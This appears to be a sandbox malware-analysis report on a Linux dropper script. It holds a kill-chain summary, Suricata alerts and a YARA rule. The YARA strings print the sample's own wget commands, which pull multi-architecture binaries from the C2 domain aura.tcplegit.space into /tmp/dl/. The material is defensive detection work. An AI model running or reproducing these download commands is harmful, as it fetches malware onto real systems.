The Linux sandbox runs a server image with no desktop, so there is no screen to record - this is the boot console, kept because a kernel panic or an out-of-memory kill would show up here and in no other layer. What the sample did is under Behavior, File & registry and Network, captured from the syscall trace rather than from pixels.

1 process(es) observed; 6 dropped file(s)

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean.

No operations match your filter.

Hash lookups only - the sample itself is never uploaded to any third party.

The analysis of the sample indicates that it executed successfully within the sandbox environment. The following kill-chain elements were observed: 1. **Initial Access**: The sample initiated execution via a script named `download_and_run.sh`, which suggests it may have been designed to download and execute additional payloads. 2. **Execution**: The sample executed a series of system calls, including `execve`, indicating that it was actively running commands. It spawned a process for the script and utilized various APIs to perform its operations. 3. **Persistence**: There were no specific indicators of persistence mechanisms observed in the analysis. The sample did not attempt to establish any long-term presence on the system. 4. **Defense Evasion**: The sample demonstrated behavior consistent with defense evasion techniques, such as modifying file and directory permissions, which is indicative of attempts to avoid detection. 5. **Command and Control (C2)**: The sample attempted to communicate with a remote server at the domain `aura.tcplegit.space`, as evidenced by DNS queries and the presence of URLs pointing to various executable files hosted on that domain. This suggests that the sample may have been designed to download additional payloads or exfiltrate data. 6. **Impact**: The impact of the sample is not fully determined, but the creation of multiple executable files in the `/tmp/dl/` directory indicates potential malicious intent, possibly to execute further actions on the compromised system. **Verdict Rationale**: The sample exhibited behaviors consistent with malicious activity, including execution of a script, network communication with a potentially malicious domain, and the creation of executable files. Therefore, it is assessed as potentially harmful.

No evasive checkpoints detected.

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

alert dns any any -> any any (msg:"sandbox auto scan 2386 C2 domain aura.tcplegit.space"; dns.query; content:"aura.tcplegit.space"; sid:15978176; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_x86_64"; sid:15978177; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_aarch64"; sid:15978178; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_mips"; sid:15978179; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_arm"; sid:15978180; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_powerpc"; sid:15978181; rev:1;)
alert http any any -> any any (msg:"sandbox auto scan 2386 C2 URL"; http.uri; content:"/main_sh4"; sid:15978182; rev:1;)

rule auto_file_2386_yara
{
    meta:
        description = "Auto-generated from scan 2386"
        author = "sandbox auto-generator"
        anchors = "5 independent regions"
    strings:
        $s0 = "wget -O /tmp/dl/main_x86_64 http://aura.tcplegit.space/main_x86_64 2>/dev/null" ascii fullword
        $s1 = "wget -O /tmp/dl/main_sh4 http://aura.tcplegit.space/main_sh4 2>/dev/null" ascii fullword
        $s2 = "wget -O /tmp/dl/main_aarch64 http://aura.tcplegit.space/main_aarch64 2>/dev/null" ascii fullword
        $s3 = "wget -O /tmp/dl/main_powerpc http://aura.tcplegit.space/main_powerpc 2>/dev/null" ascii fullword
        $s4 = "wget -O /tmp/dl/main_mips http://aura.tcplegit.space/main_mips 2>/dev/null" ascii fullword
    condition:
        filesize < 65536 and all of them
}

The report downloads - PCAP and the SIEM/TIP exports - are a paid-plan feature. Sign in with a paid plan to export this report.

An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).